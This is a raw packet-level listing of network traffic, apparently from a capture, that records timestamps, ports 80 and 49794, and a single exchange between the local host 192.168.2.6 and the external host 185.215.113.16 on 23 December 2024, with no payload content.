Dec 23, 2024 09:00:40.546196938 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:40.546240091 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:40.546355963 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:40.548011065 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:40.548372030 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:40.548424959 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:41.009016037 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.049956083 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:41.408776999 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:41.409570932 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:41.520956993 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.521047115 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:41.528897047 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.529325008 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.529390097 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:41.530206919 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.530486107 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.530870914 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:41.531723022 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.531864882 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.531933069 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:41.533051968 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.533237934 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.533361912 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:41.534869909 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.535058975 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.535123110 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:41.536772966 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.536948919 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.537074089 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:41.538578987 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.538758993 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.538862944 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:41.540467978 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.540586948 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.540657997 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:41.542253017 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.542380095 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.542428970 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:41.544035912 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.544228077 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.544385910 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:41.545870066 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.546062946 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.546149969 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:41.547718048 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.547897100 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.547956944 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:41.549609900 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.549753904 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.549822092 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:41.551383972 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.551604986 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.552298069 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:41.553211927 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.553378105 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.553486109 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:41.555032969 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.555193901 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.555274963 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:41.556868076 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.557046890 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.557105064 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:41.558765888 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.558898926 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.559132099 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:41.560540915 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.560715914 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.561372042 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:41.562393904 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.562587976 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.562645912 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:41.564193010 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.564376116 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.564449072 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:41.566028118 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.566206932 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.566292048 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:41.567852974 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.568070889 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.568144083 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:41.569703102 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.569834948 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.570029020 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:41.570957899 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.571305037 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.571367025 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:41.572824955 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.572968006 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.573049068 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:41.574611902 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.574785948 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.574943066 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:41.576466084 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.576606035 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.576653957 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:41.578275919 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.578435898 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.578891039 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:41.580070019 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.580259085 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.580373049 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:41.581923008 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.582109928 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.582194090 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:41.583812952 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.584099054 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.584404945 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:41.585587025 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.585779905 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.585889101 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:41.587419987 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.587591887 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.587714911 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:41.589258909 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.589437962 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.589705944 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:41.591094017 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.591399908 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.591463089 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:41.592911959 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.593113899 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.593303919 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:41.594739914 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.594916105 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.596467972 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:41.596566916 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.596749067 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.598128080 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:41.598397017 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.598584890 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.598953009 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:41.600229979 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.600414991 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.600497961 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:41.602062941 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.602284908 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.603916883 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.604032993 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:41.604100943 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.604326963 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:41.605750084 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.605925083 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.606409073 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:41.607620001 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.607795000 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.607896090 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:41.609419107 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.609597921 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.609666109 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:41.611280918 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.611438036 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.611573935 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:41.613121033 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.613305092 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.613615036 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:41.614871979 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.615072012 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.615127087 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:41.616722107 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.616914988 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.617022991 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:41.618544102 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.618791103 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.618865013 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:41.620410919 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.620565891 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.620682001 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:41.622210026 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.622373104 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.622438908 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:41.624063015 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.624200106 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.624269962 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:41.625883102 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.626100063 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.626147032 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:41.627688885 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.627897978 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.628484011 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:41.629518986 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.629709005 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.629913092 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:41.631392956 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.631578922 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.631730080 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:41.633172035 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.633411884 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.633518934 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:41.635073900 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.635212898 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.635282993 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:41.636873007 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.637048006 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.637134075 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:41.638676882 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.638854980 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.638936996 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:41.640593052 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.640737057 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.640793085 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:41.642333984 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.642520905 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.642658949 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:41.644148111 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.644361973 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.644479990 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:41.646051884 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.646203041 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.646503925 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:41.647881031 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.648103952 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.648253918 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:41.649657965 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.649869919 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.650008917 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:41.651479006 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.651663065 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.651860952 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:41.653325081 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.653548002 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.653662920 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:41.655150890 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.655344009 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.655635118 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:41.656999111 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.657166004 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.657265902 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:41.658818960 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.658994913 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.659579992 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:41.660685062 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.660834074 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.661072969 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:41.662497997 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.662674904 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.662858009 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:41.664377928 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.664549112 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.666131973 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.666301966 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.666395903 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:41.668222904 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.668391943 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.668473005 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:41.669888973 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.670010090 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.670100927 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:41.671693087 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.671982050 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.672072887 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:41.673440933 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.673624992 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.673764944 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:41.675271034 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.675477028 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.675532103 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:41.677122116 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.677331924 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.677408934 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:41.678972960 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.679135084 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.679244995 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:41.680818081 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.681035995 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.681129932 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:41.682596922 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.682806015 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.682951927 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:41.684429884 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.684616089 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.684881926 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:41.686290979 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.686459064 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.686517000 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:41.688101053 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.688286066 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.688369036 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:41.689912081 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.690112114 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.690187931 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:41.691759109 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.691956997 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.692084074 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:41.693605900 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.693826914 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.693948030 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:41.695409060 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.695604086 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.695653915 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:41.697236061 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.697431087 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.697690964 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:41.699131012 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.699265957 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.699331045 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:41.700922966 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.701097965 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.701147079 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:41.702734947 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.702914000 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.703013897 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:41.704580069 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.704747915 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.704864979 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:41.706389904 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.706582069 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.706799984 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:41.708234072 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.708435059 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.708560944 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:41.710093975 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.710283995 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.710406065 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:41.711898088 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.712073088 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.712177992 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:41.713716984 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.713906050 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.713983059 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:41.715559959 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.715735912 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.715816975 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:41.717387915 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.717609882 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.717674017 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:41.719203949 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.719399929 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.719475031 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:41.721076012 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.721219063 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.721390963 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:41.722867966 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.723041058 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.723258972 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:41.724735022 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.724909067 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.724986076 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:41.726545095 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:41.726721048 CET	80	49794	185.215.113.16	192.168.2.6
